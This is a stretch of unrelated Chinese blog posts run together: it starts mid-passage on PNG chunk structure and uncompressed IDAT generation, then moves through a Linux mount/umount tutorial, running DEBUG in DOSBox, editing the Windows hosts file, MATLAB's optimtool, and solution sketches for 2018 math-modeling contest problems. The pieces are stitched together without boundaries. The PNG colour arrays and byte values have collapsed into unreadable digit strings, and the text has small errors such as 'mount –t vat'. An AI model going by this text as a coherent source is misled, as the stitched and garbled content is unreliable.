82至此,我们已经能够从一个PNG文件中识别出各个数据块了。由于PNG中规定除关键数据块外,其它的辅助数据块都为可选部分,因此,有了这个标准后,我们可以通过删除所有的辅助数据块来减少PNG文件的大小。(当然,需要注意的是,PNG格式可以保存图像中的层、文字等信息,一旦删除了这些辅助数据块后,图像将失去原来的可编辑性。)删除了辅助数据块后的PNG文件,现在文件大小为147字节,原文件大小为261字节,文件大小减少后,并不影响图像的内容。参考:打造自由换色的png图片类。如上说过,IDAT数据块是使用了LZ77压缩算法生成的,由于受限于手机处理器的能力,因此,如果我们在生成IDAT数据块时仍然使用LZ77压缩算法,将会使效率大打折扣,因此,为了效率,只能使用无压缩的LZ77算法,关于LZ77算法的具体实现,此文不打算深究,如果你对LZ77算法的JAVA实现有兴趣,可以参考以下两个站点:http://jazzlib.sourceforge.net/http://www.jcraft.com/jzlib/index.html四.PNG文件结构分析(下:在手机上生成PNG文件)上面我们已经对PNG的存储格式有了了解,因此,生成PNG图片只需要按照以上的数据块写入文件即可。(由于IHDR、PLTE的结构都非常简单,因此,这里我们只是重点讲一讲IDAT的生成方法,IHDR和PLTE的数据内容都沿用以上的数据内容)问题确实是这样的,我们知道,对于大多数的图形文件来说,我们都可以将实际的图像内容映射为一个二维的颜色数组,对于上面的PNG文件,由于它用的是16色的调色板(实际是13色),因此,对于图片的映射可以如下1211109876511109876541098765439876543287654321765432106543210054321000PNG Spec中指出,如果PNG文件不是采用隔行扫描方法存储的话,那么,数据是按照行(ScanLine)来存储的,为了区分第一行,PNG规定在每一行的前面加上0以示区分,因此,上面的图像映射应该如下:012111098765011109876540109876543098765432087654321076543210065432100054321000另外,需要注意的是,由于PNG在存储图像时为了节省空间,因此每一行是按照位(Bit)来存储的,而并不是我们想象的字节(Byte),如果你没有忘记的话,我们的IHDR数据块中的色深就指明了这一点,所以,为了凑成PNG所需要的IDAT,我们的数据得改成如下:02031691351010186152118840169135101670152118845001351016733011884501601016733008450160 最后,我们对这些数据进行LZ77压缩就可以得到IDAT的正确内容了。然而,事情并不是这么简单,因为我们研究的是手机上的PNG,如果需要在手机上完成LZ77压缩工作,消耗的时间是可想而知的,因此,我们得再想办法加减少压缩时消耗的时间。好在LZ77也提供了无压缩的压缩方法(奇怪吧?),因此,我们只需要简单的使用无压缩的方式写入数据就可以了,这样虽然浪费了空间,却换回了时间!好了,让我们看一看怎么样凑成无压缩的LZ77压缩块:字节意义0~2压缩信息,固定为0x78, 0xda, 0x13~6压缩块的LEN和NLEN信息压缩的数据最后4字节Adler32信息 其中的LEN是指数据的长度,占用两个字节,对于我们的图像来说,第一个Scan Line包含了5个字节(如第一行的0, 203, 169, 135, 101),所以LEN的值为5(字节/行) * 8(行) = 40(字节),生成字节为28 00(低字节在前),NLEN是LEN的补码,即NLEN = LEN ^ 0xFFFF,所以NLEN的为 D7 FF,Adler32信息为24 A7 0B A4(具体算法见源程序),因此,按照这样的顺序,我们生成IDAT数据块,最后,我们将IHDR、PLTE、IDAT和IEND数据块写入文件中,就可以得到PNG文件了,如图:(选中的部分为生成的“压缩”数据)至此,我们已经能够采用最快的时间将数组转换为PNG图片了。
一 、mount命令(用来挂载硬盘或镜像等)用法:mount [-t vfstype] [-o options] device dir1、-t vfstype 指定文件系统的类型,通常不必指定。mount 会自动选择正确的类型。常用类型有:DOS fat16文件系统:msdosWindows 9x fat32文件系统:vfatWindows NT ntfs文件系统:ntfsWindows网络文件共享:smbfs (默认的windows系统都支持的)windows网络共享文件:cifs (cifs是smbfs的升级版,默认的windows系统都支持的,首先推荐)光盘或光盘镜像:iso9660UNIX(LINUX) 文件网络共享:nfs2、-o options 主要用来描述设备或档案的挂接方式。常用的参数有:loop:用来把一个文件当成硬盘分区挂接上系统ro:采用只读方式挂接设备rw:采用读写方式挂接设备iocharset:指定访问文件系统所用字符集3、device 要挂接(mount)的设备。4、dir设备在系统上的挂接点(mount point)。 5、monut 远程或本机的windows分区之NTFS格式支持:1)根据内核安装ntfs支持模块:http://sourceforge.net/projects/linux-ntfs/files/具体的过程帮助:http://gerardmcgarry.com/blog/hacking-centos-ntfs-support实例:sudo mount -t cifs //remotehostname/shared /mnt/myshared -o username=XXX,password=XXX2)安装ntfs-3g----- yum install ntfs-3g(fuse-ntfs-3g)参考:http://www.zzdushi.com/?p=30参考:http://ntfs-3g.org/具体过程帮助:http://wiki.centos.org/TipsAndTricks/NTFS实例:mount -t ntfs-3g /dev/sda1 /mnt/windows(umount /mnt/windows)6、实例:挂载本机的iso:mount -o loop -t iso9660 /home/sunky/mydisk.iso /mnt/vcdrom挂载远程的fat32的共享目录:mount //10.167.20.20/shared /mnt/mywinshareWindows 的C分区挂到Liunx的/mnt/winc目录下: mount -t vfat /dev/hda1 /mnt/winc ,如果中文显示有问题:#mount -t vfat -o iocharset=cp936 /dev/hda1 /mnt/winc。(要挂载本地的windows分区,在ubuntu下使用命令sudo fdisk -l 来查看磁盘分区情况。)当插入闪盘后,闪盘被识别为一个SCSI盘,通常输入以下命令:mount /dev/sda1 /usb二 、FQA1. 用mount/umount能做什么?不同的操作系统使用不同的文件系统格式。MS-DOS支持FAT16文件系统,Windows98支持FAT16、FAT32文件系 统,WindowsNT支持FAT16、NTFS文件系统,Windows2000则支持FAT16、FAT32、NTFS三种文件系统格式,而 Linux差不多支持所有的文件系统格式,但一般使用ext2或ext3文件系统。 很多用户使用的是windows操作系统,如果想在运行的Linux下访问其它文件系统中的资源的话,就要用mount命令来实现。 2. mount的基本用法是?格式:mount [-参数] [设备名称] [挂载点] 其中常用的参数有:-a 安装在/etc/fstab文件中类出的所有文件系统。-f 伪装mount,作出检查设备和目录的样子,但并不真正挂载文件系统。-n 不把安装记录在/etc/mtab 文件中。-r 讲文件系统安装为只读。-v 详细显示安装信息。-w 将文件系统安装为可写,为命令默认情况。-t <文件系统类型> 指定设备的文件系统类型,常见的有: ext2 linux目前常用的文件系统 msdos MS-DOS的fat,就是fat16 vfat windows98常用的fat32 nfs 网络文件系统 iso9660 CD-ROM光盘标准文件系统 ntfs windows NT/2000/XP的文件系统 auto 自动检测文件系统 -o <选项> 指定挂载文件系统时的选项,有些也可写到在/etc/fstab中。常用的有: defaults 使用所有选项的默认值(auto、nouser、rw、suid)auto/noauto 允许/不允许以 –a选项进行安装dev/nodev 对/不对文件系统上的特殊设备进行解释exec/noexec 允许/不允许执行二进制代码suid/nosuid 确认/不确认suid和sgid位user /nouser 允许/不允许一般用户挂载codepage=XXX 代码页 iocharset=XXX 字符集 ro 以只读方式挂载 rw 以读写方式挂载 remount 重新安装已经安装了的文件系统loop 挂载回旋设备username/password用来设置有访问权限的用户名和密码需要注意的是,挂载点必须是一个已经存在的目录,这个目录可以不为空,但挂载后这个目录下以前的内容将不可用,umount以后会恢复正常。使用多个-o参数的时候,-o 只用一次,参数之间用半角逗号隔开:# mount –o remount,rw XXX XXX例如要挂载windows下文件系统为FAT32的D盘,一般而言在Linux下这个分区对应/dev/hda5,根据具体的分区情况会有不同,这里就以hda5来举例说明:# mkdir /mnt/hda5 //创建hda5的目录作为挂载点,位置和目录名可自定义// # mount -t vfat /dev/hda5 /mnt/hda5一般而言,Linux会自动探测分区的文件系统,除非让你指定时,否则-t vfat 可以省掉。# mount /dev/hda5 /mnt/hda5这样就可以进入/mnt/hda5目录去访问分区中的资源了。 3. 为什么mount上分区后显示不了中文文件为问号/乱码?显示问号表明你的系统中没有可识别使用的中文字体,请先安装中文字体。确保你的系统已经可以很好的显示中文。显示为乱码一般是mount默认使用的文件系 统编码和文件系统中文件的实际编码不一致造成的。要想正常显示中文文件,mount时需要用到 -o 参数里的codepage和iocharset选项。codepage指定文件系统的代码页,简体中文中文代码是936;iocharset指定字符集, 简体中文一般用cp936或gb2312。# mount –o iocharset=gb2312 codepage=936 /dev/hda5 /mnt/hda5一般来说 mount –o iocharset=cp936 /dev/hda5 /mnt/hda5 就可以解决问题了。如果这样做了以后还有问题,请尝试UTF-8编码:# mount –o iocharset=utf8 /dev/hda5 /mnt/hda54. 为什么mount上去以后分区普通用户不可写?mount时加上 –o umask=000 即可:# mount –o umask=000, iocharset=cp936 /dev/hda5 /mnt/hda55. 为什么mount上去后的分区中的文件都变成短文件名了?这是文件系统挂错的原因,将FAT32挂载成FAT16时就会出现这种情况,先umount,然后用 –t vfat 重新挂载即可解决问题。# mount –t vat /dev/hda5 /mnt/hda56. 为什么不能mount ntfs分区?这是内核不支持NTFS文件系统的原因,请重新编译内核或者安装内核的NTFS文件系统支持包,以使得内核有NTFS文件系统的支持。7. 如何挂载U盘和mp3?如果计算机没有其它SCSI设备和usb外设的情况下,插入的U盘的设备路径是 /dev/sda1,用命令:# mkdir /mnt/u # mount /dev/sda1 /mnt/u挂载即可。8. 可以直接使用iso文件吗?可以,就是mount的这一选项使得Linux下有免费虚拟光驱的说法,具体用法是:# mkdir /mnt/iso # mount –o loop linux.iso /mnt/iso当然,挂载以后挂载点/mnt/iso也是只读的。 9. 我怎么不可以mount iso文件?一般而言,大多数的发行版使用的内核均已将loop设备的支持编译进去了,但是也有没有的情况,所以请确保系统所使用的内核支持loop设备。第二种情况是iso文件被放置到了NTFS或其它只读文件系统中了。挂载loop 设备必须要求挂载到一个可写的分区中,目前Linux内核对NTFS文件系统的写支持非常有限,请将iso文件复制到其它可写文件系统中后再挂载。10. 如何挂载光驱和软驱一般来说CDROM的设备文件是/dev/hdc,软驱的设备名是/dev/fd0# mkdir /mnt/cdrom # mount /dev/hdc /mnt/cdrom //挂载光驱 // # mkdir /mnt/floppy # mount /dev/fd0 /mnt/floppy //挂载软驱 //11. 为何挂载的CD-ROM不能显示中文文件?使用 –o iocharset=cp936 选项一般能解决问题,否则使用utf-8编码。# mount –o iocharset=cp936 /dev/hdc /mnt/cdrom12. 如何开机自动挂载分区?每次挂载都要输入那么长的命令的确是繁琐了些,只要将分区信息写到/etc/fstab文件中即可实现系统启动的自动挂载,例如对于/dev/hda5的自动挂载添加如下的行即可:/dev/hda5 /mnt/hda5 vfat defaults,iocharset=cp936, rw 0 013. 如何挂载samba 分区?# mkdir /mnt/share # mount -t smbfs -o username=root,password=abc,codepage=936,iocharset=gb2312 //192.168.1.100/share /mnt/share如果中文显示不正常请尝试UTF-8编码。当然可以写到fstab中实现自动挂载。14. mount --bind是什么意思? mount --bind 是将一个目录中的内容挂载到另一个目录上,用法是# mount --bind olddir newdir这个命令使得自己搭建的FTP要共享某个目录的时候变得特别方便。如果要取消mount用命令:# mount --move olddir newdir如果mount --bind 也想写入fstab中的话格式如下:olddir newdir none bind 0 015. umount基本用法是?譬如 /dev/hda5 已经挂载在/mnt/hda5上,用一下三条命令均可卸载挂载的文件系统# umount /dev/hda5 # umount /mnt/hda5 # umount /dev/hda5 /mnt/hda516. 为什么umount的时候老显示 device busy?这是因为有程序正在访问这个设备,最简单的办法就是让访问该设备的程序退出以后再umount。可能有时候用户搞不清除究竟是什么程序在访问设备,如果用户不急着umount,则可以用:# umount -l /mnt/hda5来卸载设备。选项 –l 并不是马上umount,而是在该目录空闲后再umount。还可以先用命令 ps aux 来查看占用设备的程序PID,然后用命令kill来杀死占用设备的进程,这样就umount的非常放心了。
在学习汇编语言的时候,XP系统或者更早版本的默认在Dos命令下敲入debug即可进入汇编指令模式下,而在Windows 7及更高版本下,这些功能似乎都被阉割了,所以今天我们讲带大家处理一下如何解决这个问题?First首先我们需要给电脑配置debug文件,以win10为例,默认条件下系统没有debug相关的文件,我们需要自己去配置下载文件我已经上传了,链接在这里下载好并解压,结果如下:此时我们需要记下当前的路径,我们这里当前路径为D:\DebugSecond我们需要下载一个DosBox,根据维基百科上定义讲:DOSBox是一种模拟器软件,主要是在IBM PC兼容机下,模拟旧时的操作系统:MS-DOS,支持许多IBM PC兼容的显卡和声卡,为本地的DOS程序提供执行环境,使这些程序可以正常运行于大多数现代计算机上的不同操作系统。DOSBox特别是为运行早期的计算机游戏所设计,主要以C++编写,是以GNU通用公共许可证许可发布的自由软件。DOSBox可以运行那些在现代计算机上不能运行的MS-DOS软件,这些软件通常与现在的主流硬件和操作系统有一些不兼容。DOSBox在模拟MS-DOS同时,还增加了一些可用特性,包括虚拟磁盘、点对点网络、对模拟画面截图和录像。有些非官方的DOSBox变体,如DOSBox SVN Daum和DOSBox SVN-lfn提供了更多的功能,比如存档、长文件名支持等[4]。有些游戏开发商重新发行早期的DOS游戏时,也会使用DOSBox,使其可以在现代计算机上运行。文件我已经上传到本地了,下载链接在这里下载后的界面如下:Third我们需要使用mount命令(用来挂载硬盘或镜像等),将DEBUG.EXE所在的路径挂载到C盘的盘符,以便调用的时候方便直接在同一目录下然后我们只需要输入C:\进入当前的盘符,使用debug命令即可直接启动DEBUG.EXE
当遇到有hosts文件不会编辑或者,修改了没办法保存”,以及需要权限等问题如图:或者这样: 我学了一招,现在教给你:1、win+R2、进入hosts的文件所在目录:3、我们开始如何操作才能不出现权限问题那?3.1、点击‘’文件‘’按钮:3.2、进入一个菜单页面:3.3、点击Windows PowerShell ,在点击以管理员身份打开 3.4、点击管理员后会弹出一个窗口,你点击‘’是‘’即可3.5、输入 cmd 并回车,就进入了管理员界面 3.6、输入以下命令行:notepad hosts ,并回车 3.7、我们成功地打开了hosts,然后就可以编辑了,可以粘贴,复制等操作: 3.8、保存后,为保险起见,你再打开看一下是否已经保存。
解决方案 官方解释如下: gatool was removed as of R2015b. Use optimtool 在MATLAB R2015b前的版本可以使用gatool调用遗传算法工具箱,我测试的环境是在MATLAB 2017a的环境,我们在命令行使用optimtool即可调用工具箱 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
题目 D题 汽车总装线的配置问题 一.问题背景 某汽车公司生产多种型号的汽车,每种型号由品牌、配置、动力、驱动、颜色5种属性确定。品牌分为A1和A2两种,配置分为B1、B2、B3、B4、B5和B6六种,动力分为汽油和柴油2种,驱动分为两驱和四驱2种,颜色分为黑、白、蓝、黄、红、银、棕、灰、金9种。 公司每天可装配各种型号的汽车460辆,其中白班、晚班(每班12小时)各230辆。每天生产各种型号车辆的具体数量根据市场需求和销售情况确定。附件给出了该企业2018年9月17日至9月23日一周的生产计划。 公司的装配流程如图1所示。待装配车辆按一定顺序排成一列,首先匀速通过总装线依次进行总装作业,随后按序分为C1、C2线进行喷涂作业。 图1 汽车总装线的装配流程图 二.装配要求 由于工艺流程的制约和质量控制的需要以及降低成本的考虑,总装和喷涂作业对经过生产线车辆型号有多种要求: (1)每天白班和晚班都是按照先A1后A2的品牌顺序,装配当天两种品牌各一半数量的汽车。如9月17日需装配的A1和A2的汽车分别为364和96辆,则该日每班首先装配182辆A1汽车,随后装配48辆A2汽车。 (2)四驱汽车连续装配数量不得超过2辆,两批四驱汽车之间间隔的两驱汽车的数量至少是10辆;柴油汽车连续装配数量不得超过2辆,两批柴油汽车之间间隔的汽油汽车的数量至少10辆。若间隔数量无法满足要求,仍希望间隔数量越多越好。间隔数量在5-9辆仍是可以接受的,但代价很高。 (3)同一品牌下相同配置车辆尽量连续,减少不同配置车辆之间的切换次数。 (4)对于颜色有如下要求: 1)蓝、黄、红三种颜色汽车的喷涂只能在C1线上进行,金色汽车的喷涂只能在C2线上进行,其他颜色汽车的喷涂可以在C1和C2任意一条喷涂线上进行。 2)除黑、白两种颜色外,在同一条喷涂线上,同种颜色的汽车应尽量连续喷涂作业。 3)喷涂线上不同颜色汽车之间的切换次数尽可能少,特别地,黑色汽车与其它颜色的汽车之间的切换代价很高。 4)不同颜色汽车在总装线上排列时的具体要求如下: (a)黑色汽车连续排列的数量在50-70辆之间,两批黑色汽车在总装线上需间隔至少20辆。 (b)白色汽车可以连续排列,也可以与颜色为蓝或棕的汽车间隔排列; (c)颜色为黄或红的汽车必须与颜色为银、灰、棕、金中的一种颜色的汽车间隔排列; (d)蓝色汽车必须与白色汽车间隔排列; (e)金色汽车要求与颜色为黄或红的汽车间隔排列;若无法满足要求,也可以与颜色为灰、棕、银中的一种颜色的汽车间隔排列; (f)颜色为灰或银的汽车可以连续排列,也可以与颜色为黄、红、金中的一种颜色的汽车间隔排列; (g)棕色汽车可以连续排列,也可以与颜色为黄、红、金、白中的一种颜色的汽车间隔排列。 (h)关于其他颜色的搭配,遵循“没有允许即为禁止”的原则。 由于该公司的生产线24小时不间断作业,以上总装线和喷涂线的各项要求对相邻班次(包括当日晚班与次日白班)的车辆同样适用。 三.需要解决的问题 (1)根据问题的背景、装配要求以及附件中的数据,建立数学模型或者设计算法,使其能给出符合要求、且具有较低生产成本的装配顺序。 (2)根据(1)中的数学模型或算法,针对附件中的数据,给出你们的计算结果: (a)将9月20日的装配顺序按照下表格式填写在表中,并将此表放在论文的附录中。 思路 首先这个题目描述的很多,中心思想就是调度,类似于公交车调度等问题,关键就是理清上面说的各种流程,然后入手,这个明显就是一个调度优化类问题,解决这类问题常见的算法就是规划模型,在这里很明显可以看出来是多目标规划,因为目标不唯一,当然我们也可以用智能算法的思想去优化,也可以基于运筹学方法。该方法主要针对传统的作业车间调度问题,在给定条件下,按某一衡量指标来寻找最优方案。它可以表示成求函数在满足约束条件下的极大极小值问题。常用的目标函数有拖期惩罚极小化、作业时间极小化等。运筹学方法具有适应性强,应用面广,计算技术比较简便的优点。但是由于运筹学方法自身的局限性,在运用运筹学方法时必须要附加一些脱离实际情况的假设,这在一定程度上使得其理论研究与实际应用之间存在差距。启发式规则的定义为一个直观或经验的构造算法,在可以接受的花费(时间、空间)等条件下给出待解决组合优化问题的每个实例的一个可行解。启发式算法易于实现、计算复杂度低,在实际中得到了广泛的应用。可以将其分为简单规则、复合规则、启发式规则。启发式方法的缺点是不一定能保证得到的解的可行性和最优性,甚至在多数情况下,无法阐述所得解同最优解的近似程度。也可以选用自适应神经网络和启发式算法混合方法进行调度,我们直接讲算法通过MATLAB编程带入进去就行了。 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
题目 C题 大型百货商场会员画像描绘 在零售行业中,会员价值体现在持续不断地为零售运营商带来稳定的销售额和利润,同时也为零售运营商策略的制定提供数据支持。零售行业会采取各种不同方法来吸引更多的人成为会员,并且尽可能提高会员的忠诚度。当前电商的发展使商场会员不断流失,给零售运营商带来了严重损失。此时,运营商需要有针对性地实施营销策略来加强与会员的良好关系。比如,商家针对会员采取一系列的促销活动,以此来维系会员的忠诚度。有人认为对老会员的维系成本太高,事实上,发展新会员的资金投入远比采取一定措施来维系现有会员要高。完善会员画像描绘,加强对现有会员的精细化管理,定期向其推送产品和服务,与会员建立稳定的关系是实体零售行业得以更好发展的有效途径。 附件中的数据给出了某大型百货商场会员的相关信息:附件1是会员信息数据;附件2是近几年的销售流水表;附件3是会员消费明细表;附件4是商品信息表,一般来说,商品价格越高,盈利越高;附件5是数据字典。请建立数学模型解决以下问题: (1) 分析该商场会员的消费特征,比较会员与非会员群体的差异,并说明会员群体给商场带来的价值。 (2) 针对会员的消费情况建立能够刻画每一位会员购买力的数学模型,以便能够对每个会员的价值进行识别。 (3) 作为零售行业的重要资源,会员具有生命周期(会员从入会到退出的整个过程),会员的状态(比如活跃和非活跃)也会发生变化。试在某个时间窗口,建立会员生命周期和状态划分的数学模型,使商场管理者能够更有效地对会员进行管理。 (4) 建立数学模型计算会员生命周期中非活跃会员的激活率,即从非活跃会员转化为活跃会员的可能性,并从实际销售数据出发,确定激活率和商场促销活动之间的关系模型。 (5) 连带消费是购物中心经营的核心,如果商家将策划某次促销活动,如何根据会员的喜好和商品的连带率来策划此次促销活动? 思路 针对问题1,这个就是简单的比对分析问题了,比对的重点就是要找关键,他们的差异通过数值模型比对就可以了,没有什么技术含量。针对问题2,这个购买力的数学模型说白了就是构建个人信息库,我们可以将购买力作为一个评价数据,而这个评价数据可以与其消费的各种商品以及其个人信息挂钩的,因此我们需要构建一个模型拟合这两者之间的关系即可,拟合模型可以选用多项式拟合算法,回归分析等解决,但用这类算法虽然简单易行,缺点是谁都会用,基本不可能拿奖,所以我们势必必要提升模型档次,用于构建自变量与因变量之间关系的高端模型主要是神经网络算法,BP是首选,但你选大家也选,所以需要加强版神经网络,例如LM算法、自适应梯度修正等进行深度优化后的网络。需要再加强版可以选用深度学习算法来拟合网络,如卷积神经网络等。针对问题3,这个生命周期和状态主要从会员的购买力方面进行研究,我们可以通过会员唯一卡号和商品销售信息进行配准,并将消费商品的时间进行记录(这个可能要编程实现,要不难度太大),这样就能看到会员在某个时间周期内的消费商品类型及价格排列,然后将这个时间与价格进行一致性分析后构建两者之间的关系,构建回归模型进行拟合即可得到生命周期和状态划分。针对问题4,这个主要是在生命周期内,我们需要查到某些会员存在的异常数据波动,这个异常数据是有先兆的,比如在某个会员长期低迷的情况下,购买了若干类型的商品,或者因为某种原因增强了购买力,从而转变成了活跃会员,因此我们首先需要检测出这些遗传数据出现的位置,这个可以选用小波分析算法来做,确定这个位置后,再根据她后面的活跃情况(可以先分级考虑)确定这种异常数据与活跃分级之间的关系,也是拟合一下就可以了,这个活跃分级就是活跃概率。然后再返回去寻找是不是和上传促销活动有关系即可。针对问题5,评价类问题,用遗传算法即可。 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
题目 先贴下B题的题目吧 问题B 智能RGV的动态调度策略 图1是一个智能加工系统的示意图,由8台计算机数控机床(Computer Number Controller,CNC)、1辆轨道式自动引导车(Rail Guide Vehicle,RGV)、1条RGV直线轨道、1条上料传送带、1条下料传送带等附属设备组成。RGV是一种无人驾驶、能在固定轨道上自由运行的智能车。它根据指令能自动控制移动方向和距离,并自带一个机械手臂、两只机械手爪和物料清洗槽,能够完成上下料及清洗物料等作业任务(参见附件1)。 图1:智能加工系统示意图 针对下面的三种具体情况: (1)一道工序的物料加工作业情况,每台CNC安装同样的刀具,物料可以在任一台CNC上加工完成; (2)两道工序的物料加工作业情况,每个物料的第一和第二道工序分别由两台不同的CNC依次加工完成; (3)CNC在加工过程中可能发生故障(据统计:故障的发生概率约为1%)的情况,每次故障排除(人工处理,未完成的物料报废)时间介于10~20分钟之间,故障排除后即刻加入作业序列。要求分别考虑一道工序和两道工序的物料加工作业情况。 请你们团队完成下列两项任务: 任务1:对一般问题进行研究,给出RGV动态调度模型和相应的求解算法; 任务2:利用表1中系统作业参数的3组数据分别检验模型的实用性和算法的有效性,给出RGV的调度策略和系统的作业效率,并将具体的结果分别填入附件2的EXCEL表中。 思路 首先,这是一个单个直型轨道式RGV,RGV可在轨道上左右移动来上生料,下熟料。整个问题可看做一个排队论问题。在第一问中,当生料到达时,RGV将每一个生料分别放在两边的CNC上并向右移动,RGV上下货的时间小于CNC处理的时间,因此可循环进行。在第二问中,需要处理的是CNC的加工工序分类和分布情况,通过蒙特卡洛模拟算法,在大量的运算下可确定相对用时时间最短的排序方法。第三问即在模拟的过程中每个CNC加入故障模拟,即出现故障时使参数均为0. 一些假设:1 传送带运行速度很快,可忽略不计2 RGV调度系统无故障,可实时知道材料加工情况和小车实时位置 我们需要研究清楚啥是RGV,根据题目描述,可以确定其本质是一种在车间或者自动化立体仓库中沿着轨道运行物料运送工具,不过根据物料数量和类型等因素的影响,RGV在轨道中的行驶路线,行驶的作用机理进行调度,一般问题就是题目中给出的三种情况,这三种情况是最基本的,就是都需要考虑到的,至于其他的可以自己添加(这种添加的会作为创新点),如多个RGV的调度问题等。对于单个RGV工作重心就变成了对任务点如何进行有效的反馈问题,首先我们可以将每一个物料点的需求当作一个目标点,而将RGV的运行当作一个邮递员,这个邮递员需要跑遍所有的需求点,并且要走一条最短的路径,因此我们可以选用最短路径算法和排队论思想进行调度,用遗传算法,粒子群等模型进行求解,即可得到RGV的运行轨迹和调度情况,如果想做的高大上一点,可以采用优化的遗传算法进行求解。至于其他情况,也就是你必须考虑题目给的三种情况下的其他状况,如多轨道,环形轨道,多台RGV协同运行,也属于一般问题,这就是有能力的同学去涉及了,如避免碰撞,多台联动调度等,如利用双重着色赋时Petri网构建了RGVs系统的实时模型,在对RGV采用最短路径的调度策略后能够提高RGVs系统的存储效率,对于任务2就是直接讲数据带入模型进行计算即可。 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
题目 先贴一下A的题目吧 A题 高温作业专用服装设计 在高温环境下工作时,人们需要穿着专用服装以避免灼伤。专用服装通常由三层织物材料构成,记为I、II、III层,其中I层与外界环境接触,III层与皮肤之间还存在空隙,将此空隙记为IV层。 为设计专用服装,将体内温度控制在37ºC的假人放置在实验室的高温环境中,测量假人皮肤外侧的温度。为了降低研发成本、缩短研发周期,请你们利用数学模型来确定假人皮肤外侧的温度变化情况,并解决以下问题: (1) 专用服装材料的某些参数值由附件1给出,对环境温度为75ºC、II层厚度为6 mm、IV层厚度为5 mm、工作时间为90分钟的情形开展实验,测量得到假人皮肤外侧的温度(见附件2)。建立数学模型,计算温度分布,并生成温度分布的Excel文件(文件名为problem1.xlsx)。 (2) 当环境温度为65ºC、IV层的厚度为5.5 mm时,确定II层的最优厚度,确保工作60分钟时,假人皮肤外侧温度不超过47ºC,且超过44ºC的时间不超过5分钟。 (3) 当环境温度为80时,确定II层和IV层的最优厚度,确保工作30分钟时,假人皮肤外侧温度不超过47ºC,且超过44ºC的时间不超过5分钟。 思路 A 题是一个热传导模型,外部的高温通过高温作业服和空气的两重削弱到合适的温度来保护人体,我们可以做出一些合适的假设,将整个问题简化成外部高温能量先经过1层,再经过2层,再经过3层,再经过4层,最后到达皮肤所剩余的辐射能量。其中需要注意的是,人体也有温度辐射出去,这会对外部温度的传播有影响。一些合理的假设:1 热传导垂直于皮肤2 热防护服的材质均匀3 忽略水蒸气等对热传导的影响4 温度在变化过程中是连续的 这个问题类似于窗户的厚度对于房间散热的影响。 这个问题的本质就是导热。外界环境温度给定,内部人体温度给定,中间的物性参数给定,就几乎能给出定解。所以先列微分方程,再给边界条件,最后 matlab 数值暴力求解。 针对问题一,我们通过热力学热传导方程建立4层热传导模型,得出温度变化的规律,分析出影响热传导的因素,并绘制出温度变化图。我们再考虑其边界条件和人体等因素建立适当的偏微分方程,从而求解得出温度在人体表面的分布状况。 针对问题二,我们通过建立皮肤传热模型,列出了Pennes方程。但由于皮肤短时间暴露在强热流环境下, Pennes 模型难以描述热流非稳态热传递过程。根据傅里叶热流定律,并考虑皮肤生物组织传热速度有限的物理事实,我们可以利用非稳态下的一维热流方程,即非傅里叶公式的线性展开进行求解,建立出生物传热热波模型,对高温作业专用服装的热防护性能进行了评价,并通过构建遗传算法模型求解II层厚度的最优值,由于考虑到约束条件带来的影响,我们根据二重结构编码的特点,设计交叉算子和变异算子,在原来基本遗传算法的基础上,对二重结构编码进一步分析,加快了算法的的收敛速度,使模型求解精度上升。 针对问题三,我们针对约束多目标优化问题,建立了基于Pareto排序的多目标遗传算法模型,通过分析附件2给出的假人皮肤外侧的测量温度,挖掘种群中 Pareto 支配关系,将II层和IV层的厚度作为目标函数,通过增加决策变量IV层的厚度来优化II层的厚度,以便求解目标函数II层和IV层的厚度,得出目标函数的最优厚度解。 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
